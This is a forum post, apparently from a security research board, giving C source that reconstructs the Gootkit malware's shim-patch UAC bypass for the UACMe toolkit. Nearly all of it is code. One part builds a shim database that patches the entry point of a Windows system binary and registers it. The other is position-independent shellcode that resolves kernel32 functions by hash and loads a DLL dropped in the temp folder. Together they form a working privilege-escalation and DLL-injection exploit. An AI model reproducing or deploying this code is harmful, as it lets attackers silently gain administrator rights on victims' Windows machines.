Here is the reconstruction of Gootkit shim patch UAC bypass method (+arbitrary dll injection). Need to check some things, so its sort of Release Candidate to the next version of UACMe.
Shellcode need some fix before copy-paste (actual jump to the code in the beginning).
Shellcode need some fix before copy-paste (actual jump to the code in the beginning).
Code: Select all
BOOL ucmShimPatch(
CONST PVOID ProxyDll,
DWORD ProxyDllSize
)
{
BOOL bResult = FALSE, cond = FALSE;
PDB hpdb;
GUID dbGUID, exeGUID;
WCHAR szTempDirectory[MAX_PATH * 2];
WCHAR szShimDbPath[MAX_PATH * 2];
WCHAR szSdbinstPath[MAX_PATH * 2];
WCHAR szSystemDirectory[MAX_PATH];
DWORD indexid = MAXDWORD, sz, epRVA = 0;
TAGID dbrf, libref, patchref, exeref, matchfileref, patchfileref;
PBYTE tmp;
PPATCHBITS patchbits;
RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath));
RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
do {
if (!GetSystemDirectoryW(szSystemDirectory, MAX_PATH)) {
break;
}
wsprintfW(szSdbinstPath, SHIM_SDBINSTALLER, szSystemDirectory);
if (CoCreateGuid(&dbGUID) != S_OK) {
break;
}
if (CoCreateGuid(&exeGUID) != S_OK) {
break;
}
RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));
if (!GetTempPathW(MAX_PATH, szTempDirectory)) {
break;
}
// drop fubuki
RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
wsprintfW(szShimDbPath, L"%wsr3.dll", szTempDirectory);
if (!supWriteBufferToFile(szShimDbPath, ProxyDll, ProxyDllSize))
{
break;
}
RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
wsprintfW(szShimDbPath, L"%wsamuzani.sdb", szTempDirectory);
hpdb = SdbCreateDatabase(szShimDbPath, DOS_PATH);
if (hpdb == NULL) {
break;
}
if (!SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid)) {
break;
}
if (!SdbStartIndexing(hpdb, indexid)) {
break;
}
SdbStopIndexing(hpdb, indexid);
SdbCommitIndexes(hpdb);
// begin DATABASE {
dbrf = SdbBeginWriteListTag(hpdb, TAG_DATABASE);
if (!SdbWriteStringTag(hpdb, TAG_NAME, L"amuzani")) {
break;
}
SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32
// begin LIBRARY {
libref = SdbBeginWriteListTag(hpdb, TAG_LIBRARY);
patchref = SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH
SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);
// query EP RVA for target
RtlSecureZeroMemory(szTempDirectory, sizeof(szTempDirectory));
wsprintfW(szTempDirectory, L"%ws\\%ws", szSystemDirectory, SHIMPATCH_EXENAME);
epRVA = supQueryEntryPointRVA(szTempDirectory);
if (epRVA == 0) {
break;
}
tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 32 * 1024);
if (tmp != NULL) {
patchbits = (PPATCHBITS)tmp;
sz = 0;
patchbits->Opcode = PATCH_REPLACE;
patchbits->RVA = epRVA;
_strcpy_w(patchbits->ModuleName, SHIMPATCH_EXENAME);
supCopyMemory((char *)&patchbits->Pattern, sizeof(patchcode32), patchcode32, sizeof(patchcode32));
patchbits->PatternSize = sizeof(patchcode32);
patchbits->ActionSize = sizeof(PATCHBITS) + patchbits->PatternSize;
sz += patchbits->ActionSize;
SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz);
HeapFree(GetProcessHeap(), 0, tmp);
}
SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH
// end LIBRARY
SdbEndWriteListTag(hpdb, libref);
SdbStartIndexing(hpdb, indexid);
// begin EXE {
exeref = SdbBeginWriteListTag(hpdb, TAG_EXE);
SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
SdbWriteStringTag(hpdb, TAG_APP_NAME, SHIMPATCH_EXENAME);
SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));
// begin MATCH {
matchfileref = SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE);
SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_EXENAME);
SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, SHIMPATCH_MSFTFULL);
SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH
patchfileref = SdbBeginWriteListTag(hpdb, TAG_PATCH_REF);
SdbWriteStringTag(hpdb, TAG_NAME, SHIMPATCH_BINARYNAME);
SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref);
SdbEndWriteListTag(hpdb, patchfileref);
SdbEndWriteListTag(hpdb, exeref); // } end EXE
// } end DATABASE
SdbEndWriteListTag(hpdb, dbrf);
SdbCloseDatabaseWrite(hpdb);
// Register db and run target.
bResult = ucmRegisterAndRunTarget(szSystemDirectory, szSdbinstPath, szShimDbPath, L"%ws\\iscsicli.exe", TRUE);
} while (cond);
return bResult;
}
Code: Select all
#include <Windows.h>
#include "ntpeb.h"
#include "minirtl\minirtl.h"
typedef HMODULE (WINAPI *pfnLoadLibraryA)(LPCSTR lpLibFileName);
typedef DWORD (WINAPI *pfnExpandEnvironmentStringsA)(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize);
DWORD gethash(char *s)
{
DWORD h = 0;
while (*s != 0) {
h ^= *s;
h = RotateLeft32(h, 3) + 1;
s++;
}
return h;
}
PVOID rawGetProcAddress(PVOID Module, DWORD hash)
{
PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Module;
PIMAGE_FILE_HEADER fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
PIMAGE_OPTIONAL_HEADER popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
DWORD ETableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, ETableSize = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
PIMAGE_EXPORT_DIRECTORY pexp = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosh + ETableVA);
PDWORD names = (PDWORD)((PBYTE)dosh + pexp->AddressOfNames), functions = (PDWORD)((PBYTE)dosh + pexp->AddressOfFunctions);
PWORD ordinals = (PWORD)((PBYTE)dosh + pexp->AddressOfNameOrdinals);
DWORD_PTR i, fp;
if (ETableVA == 0)
return NULL;
for (i = 0; i < pexp->NumberOfNames; i++) {
if (gethash((char *)((PBYTE)dosh + names[i])) == hash) {
fp = functions[ordinals[i]];
if ((fp >= ETableVA) && (fp < ETableVA + ETableSize)) {
*((PBYTE)0) = 0;
return NULL;
}
return (PBYTE)Module + fp;
}
}
return NULL;
}
void main()
{
PTEB teb = (PTEB)__readfsdword(0x18);
PPEB peb = teb->ProcessEnvironmentBlock;
PLDR_DATA_TABLE_ENTRY ldre0 = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InLoadOrderModuleList.Flink;
pfnLoadLibraryA xLoadLibraryA;
pfnExpandEnvironmentStringsA xExpandEnvironmentStringsA;
CHAR libpath[MAX_PATH];
DWORD textbuf[10] = {
'e\0k\0', 'n\0r\0', 'l\0e\0', '\x33\0\x32\0', 'd\0.\0', 'l\0l\0', 0,
'PMT%', '3r\\%', 0
};
while (_strcmpi_w(ldre0->BaseDllName.Buffer, (wchar_t *)&textbuf) != 0)
ldre0 = (PLDR_DATA_TABLE_ENTRY)ldre0->InLoadOrderLinks.Flink;
xExpandEnvironmentStringsA = (pfnExpandEnvironmentStringsA)rawGetProcAddress(ldre0->DllBase, 0xf53890a2);
xLoadLibraryA = (pfnLoadLibraryA)rawGetProcAddress(ldre0->DllBase, 0x69b37e08);
xExpandEnvironmentStringsA((char *)&textbuf[7], libpath, sizeof(libpath));
xLoadLibraryA(libpath);
}
Ring0 - the source of inspiration